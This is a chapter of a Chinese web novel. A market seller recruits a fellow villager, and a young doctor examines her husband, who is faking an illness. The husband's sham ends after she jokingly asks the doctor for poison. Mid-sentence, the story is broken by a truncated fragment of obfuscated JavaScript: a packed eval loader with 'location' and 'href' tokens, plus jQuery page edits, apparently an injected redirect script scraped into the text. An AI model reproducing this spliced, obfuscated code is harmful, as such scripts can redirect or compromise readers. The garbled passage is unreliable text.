没泪蒸发 作品

16. 庸医

这气氛不可谓不尴尬,他们仇视她是合理的,任何一个团队中绩效超高的成员都是受仇视的,毕竟猛兽独行,牛羊成群。但是孟行朝现在还没有跳槽的机会,这个角落已经是她能找到的最好的位置,她还想在这条街上生存下去就得改变一下自己这眼中钉的现状。


“小西,”她一把拉起蹲在后面当鸵鸟的左小西,神秘又胸有成竹地说:“看到了吧,我的东西卖得很好,你预测错了。”


“行行行,你厉害。”自己生意冷清的摊位和孟行朝的火爆形成了鲜明的对比,左小西心里本就不是滋味,自然对她的炫耀阳奉阴违。“干嘛去?”孟行朝在他领子上拽了一把,左小西没走成,正要发火,却听到她畅快的笑声,银铃似的,笑得他没脾气了。


“你不想挣钱吗?”


“什么意思?”左小西也意识到了什么,把耳朵凑到她旁边。


孟行朝:“我不卖关子了。你想不想跟着我干?”


左小西惊愕,眼珠子都要掉下来了:“什么?”他是个鬼聪明的人,眼睛一转又觉得不对:“你开什么玩笑?有这样叫好的配方你会告诉我?得了吧你。”


孟行朝仍胜券在握地笑了笑:“你这就小人之心了,咱们两个是同村,我接济你一下不是人之常情么,正所谓一枝独放不是春,百花齐放春满园,我可没有那么小心眼。再说——”她眼睛瞥了瞥后面的人:“与其给外人偷学去,还不如拉你一把,肥水不流外人田嘛。”


左小西恍然大悟:“我说呢,怎么有人会这样好心,原来你是怕被大家伙排挤。”


“原本是怕的,不过你人脉广,路子又多,有你和我一起,我就不怕了。”


她的奉承让左小西很受用,其中利弊浅浅思考了一下,便答应了孟行朝。


“那行吧,你教我挣钱,我帮你立足,你我若是联手……”左小西想象中的自己已经在吃香的喝辣的,过上神仙羡慕的日子了。


“今天回去我写一份配方,明天拿给你。”眼看目的达成,孟行朝看都没看左小西一眼就迅速离开了。


沉浸在幻想里的左小西一清醒过来人懵了:“不是……人呢?”


凭着模模糊糊的记忆,孟行朝找到了李大夫的医馆。上一次赶得急,没仔细看,原来这医馆位置这么好,就在最繁华的芙蓉街的正中央,左边是翠轩酒楼,右侧是问花坊,寻欢作乐完可以直接抬进医馆,嗯,很合理。


李氏医馆似乎隔绝了外面的繁华热闹,一走进便安静了下来。


今日只有一个小徒弟坐诊,孟行朝问:“李大夫在吗?”


洛生低头算账,手下哒哒哒的没停过,敷衍道:“我师父很久不出诊了,您要问病先请坐,我把这点活计做完就给您瞧。”


“不是我瞧病,你能不能跟我回家一趟?”


洛生依旧没抬头,像一个无情的记账机器。“跑腿费三文钱。”


“跑腿费?”她不可思议:“你师父都没收我跑腿费。”


那哒哒哒的声音忽然停下,算盘终于能休息了。他抬脸,皮笑肉不笑:“我师父心善,但规矩就是规矩。你可以去别家,不过别家更贵就是了。哦对了,你要是不急的话可以等等我师父,你良心过得去的也可以让他一个老爷子无偿给你跑腿。”


……怎么这么惹人生厌。


“你师父什么时候回来?”


洛生:“明年开春。”


孟行朝:“……”


终于,孟行朝败下阵来。“行吧,怎么称呼您?”


“洛生。”


他手上动作很快,没一会儿就把账本收拾好拿出来药箱。


“患者什么症状?”


“跌打损伤。……还有肾精不足。”


洛生没什么反应,只是挑着相应的药材。


“您家在哪?”


“梧桐村。”


只有听见这三个字时,他才有了反应。


“那要加收一文钱。”


孟行朝:“不是说好了三文钱吗?”


洛生将药箱背上,对着她无声尬笑:“您家多远您自己不知道?走完一趟这跌打损伤的药都得给我自己用一贴。”


孟行朝抱着胳膊对他上下扫视一通,笑了:“洛大夫,看来您这身体也不大行啊,我这小身板每天要来来回回地走都不觉得累,亏你还是大夫呢。这是不是就叫医者不能自医?”


洛生不答,只是一味说着:“再多加一文钱。”


“啊?”


“心损之偿。”


孟行朝祝寻以后应该好好报答她,毕竟她这样一个一毛不拔的人,为了给他找大夫都破费了,但凡他有点良心就该记着她的好。


洛生是个更不爱说话的,一路上只知道闷头往前走,明明年纪不大,一点也没精气神,像被老板压榨的打工人似的要死不活,还不如李大夫活泼呢。


“这就是我家。”


听到外面的动静,祝寻赶忙把自己缝了半天的东西藏好,兴冲冲地去开门,然而第一眼却是一个陌生男子——半抬不抬的眼睛下挂着半拉黑眼圈,死气沉沉的一个人。


“这是洛大夫,来给你瞧病的。”随后他才看见孟行朝,小小一个人从洛生身边钻进来,头发都差点乱了。祝寻不由得瞪了他一眼,怎么这么没眼力见,也不知道让一让。


“你先出去吧。”


孟行朝刚进来洛生就对她下了逐客令,她不解:“我是他娘子,有什么是我听不得的吗?”


洛生一时语塞,不知怎么解释。他只是想照拂一下这男子的脸面而已,不过她都知道他肾精不足了,看来也不必隐瞒。


洛生先请祝寻坐下,看了他的舌头,又为他号脉,这一号就没再动过。


时间过去一分,孟行朝心中的诡异感就加深一分。祝寻不会得了什么不治之症吧?


那他会不会死在这儿?她心里没底,他一个皇亲国戚,死在哪都行,可是死在她身边,万一上面要治她的罪可怎么办?


然而主人公不知道他的娘子在想什么,他垂眸不语,只有嘴角一抹似有似无的微笑显得讳莫如深。诊不出来吧?诊不出来就对了,他从小到大都吃穿用度都是太医亲力亲为的,身体没有半点劳损。


不过他没有谎言马上要被拆穿的担忧,因为不管这郎中怎么说,他都能一句“庸医”把他赶出去。


洛生知道他为什么如此淡定,因为从脉象上来看,他没有什么跌打损伤,更不是肾精不足,这就是最诡异之处——这人太健康了,健康到他不明白为什么她要去找大夫。洛生眼神微动,看见孟行朝心绪重重的脸。


他不知道这对夫妻中有什么秘密,更不想掺和这些破事,他只是个郎中。


“从脉象来看,公子的身体并无大碍。”洛生将手收回。“所谓内伤只不过是积劳过多,安心调养调养便能恢复,至于肾精不足也不是什么大事,我开两副药,按时用后能恢复一二。”


这不对吧?祝寻怔住。这郎中怎么没按照


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fro|15106744|163906||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


他设想的剧情说呢?


“你确定你没诊错?”


面对他的疑问,洛生不为所动:“不用担心,只要按时喝药,你的身体会比以前更健壮。”


健壮当然是更健壮的,他开的都是滋补的药。


就这么点事儿把这么久的脉,看来这洛生的医术不太行嘛。


孟行朝有些遗憾地摇摇头,内心却松了口气。


洛生:“这是方子,明日去我馆上抓药即可。”药方在眼前晃了晃,对祝寻来说就像气愤的导火索,他伸手一抓,那纸张却轻飘飘逃走了。


洛生把孟行朝叫出了屋:“药方给姑娘拿着吧,病人看见怕是不太好。”


孟行朝点头,很多人有讳病忌医的毛病,看见药就不愿意吃了,她明白。


“你这庸医!骗了我还想诓骗我娘子?”祝寻把他从孟行朝身边扯开,然后注意到了她的视线,一转头,看见她无可奈何的表情。


“我知道这病听着打击人。”孟行朝又把祝寻推进了屋内。“我也不知道被歹人掳走怎么导致肾精不足的。”她尝试忍住笑意,眼下肌肉抖了抖。“但只要你乖乖听大夫的话,肯定能治好的。”


这都什么跟什么?


祝寻捂住肚子:“可是娘子,他都没诊出我的内伤。只说些套话谁不会?而且这么年轻,能看什么病?依我看这就是个庸医,还是早些把他赶出去得了。”


现代有句话叫“永远叫不醒一个装睡的人。”没有的伤就是叫神医来也不可能看得出来啊。既然他把她当傻子骗,那她也不介意陪他演一演。


“那行吧,我去跟他说。”


因为知道祝寻会偷听,孟行朝对洛生招了招手,示意他近一点。“你有没有带着鹤顶红、断肠草、夹竹桃一类的东西?”


洛生永远没什么表情的脸上终于有了一丝裂痕:“你要干什么?”


她指了指屋内:“他总说自己有内伤,还说你是庸医,又闹着要我去找别的大夫来呢,我看他是发癔症了。你也知道,我们贫苦人家哪有钱治什么癔症,所以还不如直接了断了。”


她在脖颈处比象征性地划了两下,脸上笑着,还挑了挑眉,在洛生眼里完全就是个杀人女魔头的样子。


他大惊:“我虽然没什么良心,但也是治病救人的,这种事是万万做不出来的!你……”


“诶?洛大夫,还没走啊?”祝寻突然的出现打断了他。


他看上去意气风发,完全没有刚刚装的虚弱的样子。


“哈哈,娘子,我仔细想了想,你说得不错,人不能讳病忌医,肾精不足是小事,我相信洛大夫,乖乖喝药,肯定马上就能调理好。”


孟行朝意外地挑眉,眼睛动了动。“你能这么想就太好了。”随后马上转向洛生:“洛大夫,今日谢谢你这么远跑一趟,要不留下吃晚饭吧?”


洛生看看孟行朝,又看看祝寻,实在觉得这两个人都得了癔症,于是下意识推脱道:“晚饭就不用了,天色不早,我还是早些回去的好。”


他没管孟行朝的挽留,转头就走,即将出门,却在关键时刻想起了自己的跑腿费,硬生生折返回来。


“跑腿费四文钱,怕你忘了,提醒一下。”


“什么四文钱不四文钱的,先吃完饭再说吧。”她热情的拉拢让洛生更加胆寒。


“不不不不不,我先走了。”直到出了门他才转过身道理一句:“明日来馆上再付也行!”


撂下这句话他便没了影。